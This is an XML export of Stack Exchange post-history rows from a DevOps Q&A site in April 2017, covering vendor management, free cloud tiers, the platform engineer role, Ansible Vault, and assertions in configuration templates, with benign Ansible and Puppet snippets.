  <row Id="3327" PostHistoryTypeId="2" PostId="999" RevisionGUID="47e83dde-0f79-447c-8538-a385197017ba" CreationDate="2017-04-24T11:07:39.633" UserId="397" Text="Within a traditional separate Development and Operations organisations, procedures and processes are put in place to ensure that relationships between software vendors and suppliers are maintained. These relationships exist so that when for example a vulnerability is discovered operations teams are able to identify the business impact and mitigate appropriately.&#xD;&#xA;&#xD;&#xA;If that organisation was built around ITIL service management principals then they would likely be doing one or all of the following:&#xD;&#xA;&#xD;&#xA; - [Supplier Management][1]&#xD;&#xA; - [Vendor Management][2]&#xD;&#xA; - [Risk Management][3]&#xD;&#xA;&#xD;&#xA;With the assumption that the Operations role doesn't exist as a separate entity within a DevOps enabled organisation, how is an organisation collectively or severally meant to maintain supplier/vendor relationships so that when a [vulnerability is publicised][4] the teams can respond by reaching out to the vendor to understand remediation and mitigation actions.&#xD;&#xA;&#xD;&#xA;Conceivably we could:&#xD;&#xA;&#xD;&#xA; - Ask all of the Scrum teams to own their vendor relationships and act accordingly, this seems scalable but at the cost of a high overhead across an organization.&#xD;&#xA; - Maintain a central function responsible for these relationships, this central function may not have the full context the the Cross-functional teams have.&#xD;&#xA; - Use a 3rd Party automated service to scan infrastructure and applications to maintain a dynamic inventory which can be assessed for known vulnerabilities, this however doesn't actually maintain a relationship with vendors and is only as good as it's database of known vulnerabilities.&#xD;&#xA;&#xD;&#xA;What strategies do you use?&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.en.it-processmaps.com/index.php/Supplier_Management&#xD;&#xA;  [2]: http://www.gartner.com/it-glossary/vendor-management&#xD;&#xA;  [3]: https://wiki.en.it-processmaps.com/index.php/Risk_Management&#xD;&#xA;  [4]: http://thehackernews.com/2017/02/google-windows-vulnerability.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3328" PostHistoryTypeId="1" PostId="999" RevisionGUID="47e83dde-0f79-447c-8538-a385197017ba" CreationDate="2017-04-24T11:07:39.633" UserId="397" Text="What processes enable software vendor/supplier management in a DevOps way of working?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3329" PostHistoryTypeId="3" PostId="999" RevisionGUID="47e83dde-0f79-447c-8538-a385197017ba" CreationDate="2017-04-24T11:07:39.633" UserId="397" Text="&lt;terminology&gt;&lt;operating-model&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3330" PostHistoryTypeId="50" PostId="650" RevisionGUID="9dc2b9b0-57f4-4825-abae-0a7f4834da3a" CreationDate="2017-04-24T12:59:56.180" UserId="-1" />
  <row Id="3332" PostHistoryTypeId="2" PostId="1000" RevisionGUID="26e8f082-90bb-4262-a893-d4b476d9f683" CreationDate="2017-04-24T14:18:53.793" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3333" PostHistoryTypeId="1" PostId="1000" RevisionGUID="26e8f082-90bb-4262-a893-d4b476d9f683" CreationDate="2017-04-24T14:18:53.793" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3334" PostHistoryTypeId="2" PostId="1001" RevisionGUID="1f6c1dba-f0d3-4b60-9214-2e8bb440a9a3" CreationDate="2017-04-24T14:18:53.793" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3335" PostHistoryTypeId="1" PostId="1001" RevisionGUID="1f6c1dba-f0d3-4b60-9214-2e8bb440a9a3" CreationDate="2017-04-24T14:18:53.793" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3336" PostHistoryTypeId="2" PostId="1002" RevisionGUID="583e1784-fc66-46fe-8c8c-42df460c7083" CreationDate="2017-04-24T14:34:44.173" UserId="72" Text="Cloud technologies are very hot right now, but they're also expensive.  What are the best strategies for learning/trying cloud services without racking up a huge bill?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3337" PostHistoryTypeId="1" PostId="1002" RevisionGUID="583e1784-fc66-46fe-8c8c-42df460c7083" CreationDate="2017-04-24T14:34:44.173" UserId="72" Text="How can I experiment with Cloud (Azure, AWS, Google, etc) without going broke?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3338" PostHistoryTypeId="3" PostId="1002" RevisionGUID="583e1784-fc66-46fe-8c8c-42df460c7083" CreationDate="2017-04-24T14:34:44.173" UserId="72" Text="&lt;amazon-web-services&gt;&lt;azure&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3339" PostHistoryTypeId="2" PostId="1003" RevisionGUID="4b5bfb55-4adb-42b3-8bb7-41547f0337ea" CreationDate="2017-04-24T15:05:00.147" UserId="14" Text="There are quite a few services that offer 'free tiers' of some description to help new developers get started with a cloud platform without the cost you've mentioned.&#xD;&#xA;&#xD;&#xA;[AWS](https://aws.amazon.com/free/) have quite a generous free tier:&#xD;&#xA;&#xD;&#xA;&gt; ## Always Free&#xD;&#xA;&gt; - 1 million free Lambda requests/month&#xD;&#xA;&gt; - 25 GB of DynamoDB storage&#xD;&#xA;&gt; - 20,000 free requests to the AWS Key Management Service&#xD;&#xA;&gt; - 1 million requests to Amazon SQS&#xD;&#xA;&gt; - various other services&#xD;&#xA;&gt;&#xD;&#xA;&gt; ## 12 Months Free&#xD;&#xA;&gt; - 750 hours of EC2 computing time (t2.micro)&#xD;&#xA;&gt; - 5 GB of Amazon S3 storage&#xD;&#xA;&gt; - 250,000 messages on AWS IoT&#xD;&#xA;&gt; - various others&#xD;&#xA;&#xD;&#xA;Azure offer US$200 (or £150) of [free credit](https://azure.microsoft.com/en-gb/offers/ms-azr-0044p/) to use *in any way you like* within one month (but they expire after a month):&#xD;&#xA;&#xD;&#xA;&gt; You receive £150 of Azure credits with the Free Trial. The choice is now yours as to how you use your Azure credits. Use them on any Azure service based on your needs, including, Virtual Machines, Websites, Cloud Services, Mobile Services, Storage, SQL Database, Content Delivery Network, HDInsight, Media Services and many more.&#xD;&#xA;&#xD;&#xA;&gt; Use the pricing calculator to estimate how much you could use with £150 of Azure credits. Here are a few usage scenarios that consume no more than £150 per month:&#xD;&#xA;&#xD;&#xA;&gt; - Running 2 small Virtual Machine instances for the entire month, or&#xD;&#xA;&gt; - Storing 800 GB of data in Storage, or&#xD;&#xA;&gt; - Developing and testing a web application using Cloud Services, with 3 web roles and 2 worker roles on medium instances, for 10 hours a day, 5 days a week, or&#xD;&#xA;&gt; - Running two S2 SQL databases for the entire month&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Google Cloud give 12 months with $300 of credit, and have some services which are 'always free'](https://cloud.google.com/free/), broadly similar to Amazon's offering.&#xD;&#xA;&#xD;&#xA;If you're careful about your timing, you could also use a [spot instance](https://aws.amazon.com/ec2/spot/) (but [be careful that you're not paying more than the on-demand price!](https://devops.stackexchange.com/questions/893/why-is-the-aws-ec2s-spot-price-greater-than-the-on-demand-price)). Since spot instances can be terminated at any time if you're outbid, they may not be ideal for learning, as you might not be able to use the service exactly when you want it, but they are often *far* cheaper.&#xD;&#xA;&#xD;&#xA;Students can also claim *&quot;up to $110 in bonus AWS credits for a total of $75-$150&quot;* with the [GitHub Student Developer Pack](https://education.github.com/pack). Perhaps worth checking if your favourite cloud service has similar offers if you're eligible! &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3340" PostHistoryTypeId="2" PostId="1004" RevisionGUID="b4d65c62-f12d-4342-b8c3-506e5e32ef74" CreationDate="2017-04-24T15:15:28.693" UserId="397" Text="The three major cloud platforms you mentioned have either free trials or a free tier, these all include spending and resource caps which prevent you from spending more than your free trial allows:&#xD;&#xA;&#xD;&#xA;## Azure&#xD;&#xA;&#xD;&#xA;Azure [offer £150/$200/€170 for the first one month of usage][1], in addition many of Azure's services have a free or low cost tier:&#xD;&#xA;&#xD;&#xA;   - App Service Free Tier&#xD;&#xA;   - SQL Azure Basic Instance @ £0.005/hour&#xD;&#xA;   - Azure Machine Learning Free Tier&#xD;&#xA;   - Azure Service Bus @ £0.04/million operations&#xD;&#xA;   - Azure Functions @ £0.15 per million executions&#xD;&#xA;&#xD;&#xA;If you have a MSDN or Visual Stuido Online account you can also get £100/$150/€130 per month of credit just because you are a subscriber to one of these services.&#xD;&#xA;&#xD;&#xA;If you are a startup you may qualify for $120,000 of Azure Credits to host your application through Microsoft's [BizSpark programme][2].&#xD;&#xA;&#xD;&#xA;## Amazon Web Services&#xD;&#xA;&#xD;&#xA;Amazon [have a Free Tier][3] which includes:&#xD;&#xA;&#xD;&#xA; - 750 Hours of EC2 which equates to about a month of a t2.micro instance&#xD;&#xA; - 750 Amazon RDS&#xD;&#xA; - 5GB S3&#xD;&#xA; - 250,000 AWS IoT Messages&#xD;&#xA; - [**... and more**][3]&#xD;&#xA;&#xD;&#xA;In addition there perpetually free usage allowances on most services:&#xD;&#xA;&#xD;&#xA; - AWS Lambda: 1 million free requests a month&#xD;&#xA; - DynamoDB: 25GB Storage&#xD;&#xA; - Amazon SNS: 1 million publishes&#xD;&#xA; - [**... and more**][3]&#xD;&#xA;&#xD;&#xA;## Google Compute Platform&#xD;&#xA;&#xD;&#xA;Google offer a $300 free trial for 12 months in a similar deal to Amazon. In addition they have free usage tiers for many of their core offerings:&#xD;&#xA;&#xD;&#xA; - Google App Engine: 28 instance hours / day&#xD;&#xA; - Google Cloud Database: 1GB Storage&#xD;&#xA; - Google Compute Engine: 1 f1-micro instance / month&#xD;&#xA; - Google Pub/Sub: 10GB messages / month&#xD;&#xA; - Google Cloud Functions: 10 million executions / month&#xD;&#xA; - [**... and more**][4]&#xD;&#xA;&#xD;&#xA;If all of that wasn't enough for you most of the cloud providers will compensate you in credits if you blog about their services in detail, you do have to put in a substantial effort up front and &quot;appear&quot; on their radar by writing blog posts, presenting at meetup and conferences but once they see you they will gladly put $100 a month towards your further learning.&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/free/&#xD;&#xA;  [2]: https://bizspark.microsoft.com/&#xD;&#xA;  [3]: https://aws.amazon.com/free/&#xD;&#xA;  [4]: https://cloud.google.com/free/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3341" PostHistoryTypeId="2" PostId="1005" RevisionGUID="e05cf3d5-ffa4-4ed8-850b-df76d1cb1c35" CreationDate="2017-04-24T15:35:47.260" UserId="397" Text="I've been called many things over my career, most of them polite - more recently the work to build CI/CD pipelines has been termed &quot;Platform Engineer&quot; or &quot;Platform Engineering&quot;.  The risk of such a title is that you get typecast into the role of an engineer who develops platforms for use by Developers and doesn't necessarily include any of the Ops bit of DevOps.&#xD;&#xA;&#xD;&#xA;In my experience however the roles have involved a great deal of Operations Discipline work such as designing Major Incident Management Processes, Alerting and Monitoring solutions.&#xD;&#xA;&#xD;&#xA;In the role it &quot;feels&quot; like it has a lot in common with Site Reliability Engineering, in that both roles are engineering roles somehow set apart from software engineering they seem to have a similar [Google Trends Pattern][1] though:&#xD;&#xA;&#xD;&#xA;[![Site Reliability Engineer vs Platform Engineer][2]][2] &#xD;&#xA;&#xD;&#xA;Is there a canonical definition of a Platform Engineer or is it like SRE simply a implementation of a DevOps capability within a organisation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://trends.google.co.uk/trends/explore?q=Platform%20Engineer,Site%20Reliability%20Engineer&#xD;&#xA;  [2]: https://i.stack.imgur.com/QHL6A.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="3342" PostHistoryTypeId="1" PostId="1005" RevisionGUID="e05cf3d5-ffa4-4ed8-850b-df76d1cb1c35" CreationDate="2017-04-24T15:35:47.260" UserId="397" Text="What is a Platform Engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3343" PostHistoryTypeId="3" PostId="1005" RevisionGUID="e05cf3d5-ffa4-4ed8-850b-df76d1cb1c35" CreationDate="2017-04-24T15:35:47.260" UserId="397" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3344" PostHistoryTypeId="2" PostId="1006" RevisionGUID="44659b5f-0699-4b8a-b5f4-605fa86f5ba8" CreationDate="2017-04-24T17:26:40.027" UserId="677" Text="Having been working with ansible vault quite a bit recently (specifically regarding what the encrypt and how to encrypt those things without making the code unreadable) I've found very little incentive to change my habits in 2.3.&#xA;&#xA;If I'm going to have a series of encrypted variables, or files, keep them separate (I preffix them all with vault_) and just leave it at that.&#xA;&#xA;A few times I have used the !vault feature but am left distinctly unamazed as it seems easier to just be very explicit about what is and is not coming from a secrets file. That way no one editing my plays makes assumptions about what is and isn't sensitive data." ContentLicense="CC BY-SA 3.0" />
  <row Id="3345" PostHistoryTypeId="2" PostId="1007" RevisionGUID="57c7b7d8-e28d-41be-b5a0-007f4c36b86b" CreationDate="2017-04-24T17:36:54.967" UserId="677" Text="I think you would be hard pressed to get a straight definite definition of a Platform Engineer.&#xA;&#xA;Where I'm currently positioned everyone on the team starts out with their own special role but very quickly the end-game seems to be to feel comfortable enough to be called, or to call ones self, a platform engineer.&#xA;&#xA;When I was first told that officially a platform engineer the brief explanation of what that meant, for me at least, was that I was going to need to do a whole lot more defending of my platform.&#xA;&#xA;I wasn't quite so focused on helping our developers directly (although that's still the goal obviously) but as the platform owners our jobs was mostly to make sure that our developers where being good citizens by making sure we designed the platform so that we could show them what they did wrong if something happened and we could give them all the information they needed to fix their code.&#xA;&#xA;The obvious implication of this is that our platform is perfect, which it obviously isn't. But at least we can support the developers in a way that gets them working on a solution on their end while we're fixing up our side of the agreement." ContentLicense="CC BY-SA 3.0" />
  <row Id="3346" PostHistoryTypeId="5" PostId="1001" RevisionGUID="93b219ba-f5a7-4cb7-b4f4-68d34516e5ca" CreationDate="2017-04-24T17:38:44.827" UserId="397" Comment="added 160 characters in body" Text="Systematic recording of events from services and application is a key process within DevOps adoption.  Use this tag to describe logging and telemetry questions." ContentLicense="CC BY-SA 3.0" />
  <row Id="3347" PostHistoryTypeId="24" PostId="1001" RevisionGUID="93b219ba-f5a7-4cb7-b4f4-68d34516e5ca" CreationDate="2017-04-24T17:38:44.827" Comment="Proposed by 397 approved by 40, 46 edit id of 303" ContentLicense="CC BY-SA 3.0" />
  <row Id="3348" PostHistoryTypeId="5" PostId="1000" RevisionGUID="9ab130e8-2bb7-4cc3-a597-df201acf4a7b" CreationDate="2017-04-24T17:38:47.207" UserId="397" Comment="added 521 characters in body" Text="Logging is the activity of recording entries in a register of the operation of an application or service.  Logging is a key discipline within a DevOps organization as the creation of detailed and central logs provides an audit trail as well as key information for diagnosing incidents.&#xD;&#xA;&#xD;&#xA;## Logging Tools&#xD;&#xA;&#xD;&#xA; - [Splunk][1]&#xD;&#xA; - [Elastic Stack][2]&#xD;&#xA; - [Logentries][3]&#xD;&#xA; - [Loggly][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.splunk.com/&#xD;&#xA;  [2]: http://www.elastic.co/products&#xD;&#xA;  [3]: https://logentries.com/&#xD;&#xA;  [4]: https://www.loggly.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3349" PostHistoryTypeId="24" PostId="1000" RevisionGUID="9ab130e8-2bb7-4cc3-a597-df201acf4a7b" CreationDate="2017-04-24T17:38:47.207" Comment="Proposed by 397 approved by 40, 46 edit id of 302" ContentLicense="CC BY-SA 3.0" />
  <row Id="3350" PostHistoryTypeId="2" PostId="1008" RevisionGUID="2246db28-1986-4700-8d0d-6cff221e9e2f" CreationDate="2017-04-24T17:39:49.343" UserId="2494" Text="Use kubernetes and docker. https://github.com/carlossg/kubernetes-jenkins/blob/master/README.md. &#xA;&#xA;You can scale the number of nodes by upping the number in the yml." ContentLicense="CC BY-SA 3.0" />
  <row Id="3351" PostHistoryTypeId="5" PostId="1005" RevisionGUID="ce5a3dae-2313-41c0-9423-6a7b5d88de65" CreationDate="2017-04-24T17:43:18.520" UserId="46" Comment="added 6 characters in body" Text="I've been called many things over my career, most of them polite - more recently the work to build CI/CD pipelines has been termed &quot;Platform Engineer&quot; or &quot;Platform Engineering&quot;.  The risk of such a title is that you get typecast into the role of an engineer who develops platforms for use by Developers and doesn't necessarily include any of the Ops bit of DevOps.&#xD;&#xA;&#xD;&#xA;In my experience, however, the roles have involved a great deal of Operations Discipline work such as designing Major Incident Management Processes, Alerting, and Monitoring solutions.&#xD;&#xA;&#xD;&#xA;In the role it &quot;feels&quot; like it has a lot in common with Site Reliability Engineering, in that both roles are engineering roles somehow set apart from software engineering they seem to have a similar [Google Trends Pattern][1] though:&#xD;&#xA;&#xD;&#xA;&gt; [![Site Reliability Engineer vs Platform Engineer][2]][2]&#xD;&#xA;&#xD;&#xA;Is there a canonical definition of a Platform Engineer or is it like SRE simply an implementation of a DevOps capability within an organisation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://trends.google.co.uk/trends/explore?q=Platform%20Engineer,Site%20Reliability%20Engineer&#xD;&#xA;  [2]: https://i.stack.imgur.com/QHL6A.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="3356" PostHistoryTypeId="5" PostId="1005" RevisionGUID="7df04bbf-c8e1-4f7d-9d06-ac3bc0097f42" CreationDate="2017-04-24T18:15:40.633" UserId="397" Comment="Removed Blockquote" Text="I've been called many things over my career, most of them polite - more recently the work to build CI/CD pipelines has been termed &quot;Platform Engineer&quot; or &quot;Platform Engineering&quot;.  The risk of such a title is that you get typecast into the role of an engineer who develops platforms for use by Developers and doesn't necessarily include any of the Ops bit of DevOps.&#xD;&#xA;&#xD;&#xA;In my experience, however, the roles have involved a great deal of Operations Discipline work such as designing Major Incident Management Processes, Alerting, and Monitoring solutions.&#xD;&#xA;&#xD;&#xA;In the role it &quot;feels&quot; like it has a lot in common with Site Reliability Engineering, in that both roles are engineering roles somehow set apart from software engineering they seem to have a similar [Google Trends Pattern][1] though:&#xD;&#xA;&#xD;&#xA;[![Site Reliability Engineer vs Platform Engineer][2]][2]&#xD;&#xA;&#xD;&#xA;Is there a canonical definition of a Platform Engineer or is it like SRE simply an implementation of a DevOps capability within an organisation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://trends.google.co.uk/trends/explore?q=Platform%20Engineer,Site%20Reliability%20Engineer&#xD;&#xA;  [2]: https://i.stack.imgur.com/QHL6A.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="3358" PostHistoryTypeId="6" PostId="996" RevisionGUID="1911c6c6-cdce-4cf6-b5a0-63137ddb6bdc" CreationDate="2017-04-24T18:41:10.253" UserId="46" Comment="edited tags" Text="&lt;automation&gt;&lt;drupal&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3359" PostHistoryTypeId="5" PostId="996" RevisionGUID="3cf243f5-ba01-45df-9876-b785cb065590" CreationDate="2017-04-24T18:48:43.717" UserId="40" Comment="added 66 characters in body" Text="Suppose I have Drupal and CiviCRM installations to automate.&#xD;&#xA;&#xD;&#xA;These, however, need particular configs for working together (some file edits and database configs)&#xD;&#xA;&#xD;&#xA;Should I make a fixed version install (eg. [Drupal 4.7.5][1] + CiviCRM 4.5.6), install them and configure, and then save the edited files plus database?&#xD;&#xA;&#xD;&#xA;Or should I put more effort in my build script and make some queries and seds to edit those configs in the database and files?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.drupal.org/project/drupal/releases/4.7.5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3360" PostHistoryTypeId="2" PostId="1010" RevisionGUID="bac00875-35a1-41c8-a1f9-56b9b9a7c9e5" CreationDate="2017-04-24T20:44:36.707" UserId="339" Text="I'm constructing a template to build a configuration file, and the service that consumes this file places constraints on identifier lengths.&#xD;&#xA;&#xD;&#xA;If an identifier is longer than, say, 6 characters, the service will get part-way through applying the configuration, fail, and leave the node in an inconsistent state.&#xD;&#xA;&#xD;&#xA;How can I perform an assertion within the template to trigger a deployment transaction failure, preventing the target nodes' service from being misconfigured?&#xD;&#xA;&#xD;&#xA;My particular circumstance is Salt and Jinja2, but I would be curious to see how other systems solve the problem as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="3361" PostHistoryTypeId="1" PostId="1010" RevisionGUID="bac00875-35a1-41c8-a1f9-56b9b9a7c9e5" CreationDate="2017-04-24T20:44:36.707" UserId="339" Text="Assertions and constraints in file templates" ContentLicense="CC BY-SA 3.0" />
  <row Id="3362" PostHistoryTypeId="3" PostId="1010" RevisionGUID="bac00875-35a1-41c8-a1f9-56b9b9a7c9e5" CreationDate="2017-04-24T20:44:36.707" UserId="339" Text="&lt;configuration&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3363" PostHistoryTypeId="5" PostId="1010" RevisionGUID="34fc8f6b-de73-4171-a3d8-36a3f239b29a" CreationDate="2017-04-24T21:00:07.533" UserId="339" Comment="Retarget question out of hyperfocus and toward a more established concept to permit different approaches." Text="I'm constructing a template to build a configuration file, and the service that consumes this file places constraints on identifier lengths.&#xD;&#xA;&#xD;&#xA;If an identifier is longer than, say, 6 characters, the service will get part-way through applying the configuration, fail, and leave the node in an inconsistent state.&#xD;&#xA;&#xD;&#xA;How can I perform an assertion to trigger a deployment transaction failure, preventing the target nodes' service from being misconfigured?&#xD;&#xA;&#xD;&#xA;My particular circumstance is Salt, but I would be curious to see how other systems solve the problem as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="3364" PostHistoryTypeId="4" PostId="1010" RevisionGUID="34fc8f6b-de73-4171-a3d8-36a3f239b29a" CreationDate="2017-04-24T21:00:07.533" UserId="339" Comment="Retarget question out of hyperfocus and toward a more established concept to permit different approaches." Text="Assertions and constraints" ContentLicense="CC BY-SA 3.0" />
  <row Id="3365" PostHistoryTypeId="6" PostId="1010" RevisionGUID="34fc8f6b-de73-4171-a3d8-36a3f239b29a" CreationDate="2017-04-24T21:00:07.533" UserId="339" Comment="Retarget question out of hyperfocus and toward a more established concept to permit different approaches." Text="&lt;configuration&gt;&lt;configuration-management&gt;&lt;linting&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3366" PostHistoryTypeId="2" PostId="1011" RevisionGUID="5ffb2dd3-a6c4-4df9-9562-8cab56a64d4d" CreationDate="2017-04-24T21:17:28.107" UserId="2501" Text="Source: I'm a Platform Engineer, (though not in a strict DevOps sense).&#xD;&#xA;&#xD;&#xA;I manage Office 365 for my employer.  Particularly the Identity, Authentication, Messaging portions.  I don't build Exchange servers (under normal circumstances) but I do manage all changes in the service and &quot;own&quot; the platform.&#xD;&#xA;&#xD;&#xA;As @hvindin's answer also calls out, I am equally responsible for evangelizing the platform I own as well as maintaining it.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3371" PostHistoryTypeId="5" PostId="105" RevisionGUID="77272bf6-e1e3-4cca-82a5-c292513d3a73" CreationDate="2017-04-25T06:51:07.240" UserId="375" Comment="grammar, capitalisation" Text="We are using Ansible 1.9 for deploying Spring Boot microservices.  We are using CentOS 6 and the services are packaged as rpms. We intend to configure the executable jar files to be supervised by runit, instead of SysVinit or Upstart.&#xD;&#xA;&#xD;&#xA;Is it reasonable to package the runit config inside the RPM, and let Ansible only deploy specific properties into `/etc/sysconfig`, or does a better way to use Ansible for the full runit config exist, so that the service would be decoupled from that host configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3372" PostHistoryTypeId="24" PostId="105" RevisionGUID="77272bf6-e1e3-4cca-82a5-c292513d3a73" CreationDate="2017-04-25T06:51:07.240" Comment="Proposed by 375 approved by 40, 228 edit id of 304" ContentLicense="CC BY-SA 3.0" />
  <row Id="3373" PostHistoryTypeId="4" PostId="994" RevisionGUID="5955cb32-87d0-49ea-928b-f3ceca54a06f" CreationDate="2017-04-25T07:25:50.950" UserId="375" Comment="Fix duplication and grammar form" Text="What are best practices of structuring and encrypting variables since Ansible 2.3.0?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3374" PostHistoryTypeId="24" PostId="994" RevisionGUID="5955cb32-87d0-49ea-928b-f3ceca54a06f" CreationDate="2017-04-25T07:25:50.950" Comment="Proposed by 375 approved by 228, 40 edit id of 305" ContentLicense="CC BY-SA 3.0" />
  <row Id="3375" PostHistoryTypeId="2" PostId="1012" RevisionGUID="98438d37-caf4-4b51-b3b1-5e0f6aa4cdad" CreationDate="2017-04-25T07:27:14.943" UserId="2479" Text="In Ansible: you can use `assert` or `fail` module. &#xD;&#xA;&#xD;&#xA;    - name: &quot;Make sure web_sites is dictionary&quot;&#xD;&#xA;      fail: msg=&quot;web_sites should be dictionary&quot;&#xD;&#xA;      when: web_sites is not dict  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: &quot;cluster_name should be shorter than 6 chars&quot;&#xD;&#xA;      assert: &#xD;&#xA;           that: cluster_name|len &lt;= 6&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In Puppet: there is [fail][1] function evaluated during parsing phase which cause parsing failure on server (see [question on StackOverflow][2]) &#xD;&#xA;&#xD;&#xA;     if length($cluster_name) &gt; 6 {&#xD;&#xA;          fail(&quot;Cluster name is too long. Should be less than 6 chars.&quot;)&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.puppet.com/puppet/latest/function.html#fail&#xD;&#xA;  [2]: http://stackoverflow.com/questions/7570957/is-it-possible-to-assert-in-puppet" ContentLicense="CC BY-SA 3.0" />
  <row Id="3376" PostHistoryTypeId="2" PostId="1013" RevisionGUID="f1826940-c5ca-42db-aa26-54a9cbbf7192" CreationDate="2017-04-25T10:56:39.080" UserId="40" Text="Mainframe (zOS) software is still very much in use right now. Many of the most critical applications of banks, insurance companies, airlines, global companies, etc are running on (good old) mainframes.&#xD;&#xA;&#xD;&#xA;However, for companies that are in the business of developing and supporting mainframe softwares, it may be (terribly) expensive to have the required infrastructure for developing, testing and supporting such software.&#xD;&#xA;&#xD;&#xA;What are possible solutions for developing and supporting mainframe software without paying fortunes for the required infrastructure (and spending all software revenue to it)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3377" PostHistoryTypeId="1" PostId="1013" RevisionGUID="f1826940-c5ca-42db-aa26-54a9cbbf7192" CreationDate="2017-04-25T10:56:39.080" UserId="40" Text="How can I develop and support mainframe software without going broke?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3378" PostHistoryTypeId="3" PostId="1013" RevisionGUID="f1826940-c5ca-42db-aa26-54a9cbbf7192" CreationDate="2017-04-25T10:56:39.080" UserId="40" Text="&lt;mainframe&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3379" PostHistoryTypeId="2" PostId="1014" RevisionGUID="6e93d763-d6d3-44e9-99f0-810f023ff5d5" CreationDate="2017-04-25T13:29:18.923" UserId="736" Text="Is there a way in Groovy directly or by integrating Jenkins plugins to have a downstream job complete only if it hasn't been run in the last X hours already?&#xD;&#xA;&#xD;&#xA;Let's say I have unit tests, when green, kick off a job to create an image. I want to put an intermediary step between the two that will check to see when the last image was created, and if it was less than say 3 hours ago, NOT run the image creation job. &#xD;&#xA;&#xD;&#xA;There isn't a way to make this work with cron that I can see, since the upstream job runs at random whenever commits are made, obfuscating any timing control. I can't just schedule the image creation because sometimes we get 10+ commits in an hour, and sometimes there's barely one a day. When that single one of the day does turn green I'd rather immediately create an image for use downstream, rather than waiting as much as 3 hours if I schedule it.&#xD;&#xA;&#xD;&#xA;I'd prefer not to make it a 1:1 ratio commit to image only because storing them gets tricky in large numbers, and downstream from the image you'd never need them as frequently as the aforementioned 10 per hour. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3380" PostHistoryTypeId="1" PostId="1014" RevisionGUID="6e93d763-d6d3-44e9-99f0-810f023ff5d5" CreationDate="2017-04-25T13:29:18.923" UserId="736" Text="Jenkins Pipeline downstream job; exit unless it hasn't run in the last x hours" ContentLicense="CC BY-SA 3.0" />
  <row Id="3381" PostHistoryTypeId="3" PostId="1014" RevisionGUID="6e93d763-d6d3-44e9-99f0-810f023ff5d5" CreationDate="2017-04-25T13:29:18.923" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3382" PostHistoryTypeId="5" PostId="1014" RevisionGUID="57ba1aab-59b8-4106-90b0-cf005f50cdf7" CreationDate="2017-04-25T13:36:17.920" UserId="736" Comment="added 22 characters in body" Text="Is there a way in Groovy directly or by integrating Jenkins plugins to have a downstream job complete only if it hasn't been run in the last X hours already?&#xD;&#xA;&#xD;&#xA;Let's say I have unit tests, when green, kick off a job to create an image. I want to put an intermediary step between the two that will check to see when the last iteration of the image creation job ran, and if it was less than say 3 hours ago, NOT run the image creation job. &#xD;&#xA;&#xD;&#xA;There isn't a way to make this work with cron that I can see, since the upstream job runs at random whenever commits are made, obfuscating any timing control. I can't just schedule the image creation because sometimes we get 10+ commits in an hour, and sometimes there's barely one a day. When that single one of the day does turn green I'd rather immediately create an image for use downstream, rather than waiting as much as 3 hours if I schedule it.&#xD;&#xA;&#xD;&#xA;I'd prefer not to make it a 1:1 ratio commit to image only because storing them gets tricky in large numbers, and downstream from the image you'd never need them as frequently as the aforementioned 10 per hour. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3383" PostHistoryTypeId="2" PostId="1015" RevisionGUID="bc386c1c-dee3-49d7-92c2-32a37835af73" CreationDate="2017-04-25T13:59:26.947" UserId="2514" Text="Turn things off when you are not using them. Tools like www.parkmycloud.com are very helpful.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
